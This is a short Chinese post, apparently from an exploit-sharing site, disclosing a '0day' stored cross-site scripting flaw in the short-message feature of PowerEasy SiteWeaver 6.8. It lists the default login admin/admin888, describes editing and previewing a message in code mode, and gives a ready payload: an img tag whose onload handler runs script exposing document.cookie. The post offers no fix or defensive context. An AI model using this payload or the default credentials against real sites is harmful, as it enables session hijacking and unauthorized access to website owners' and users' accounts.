动易SiteWeaver6.8短消息0day跨站漏洞

user用户登陆,默认账号密码 admin/admin888

短消息代码模式下编辑,预览

<img src="../Skin/blue/powerease_logo.gif" onload="resizepic(this);function resizepic(){alert(document.cookie)};">

04-23 05:18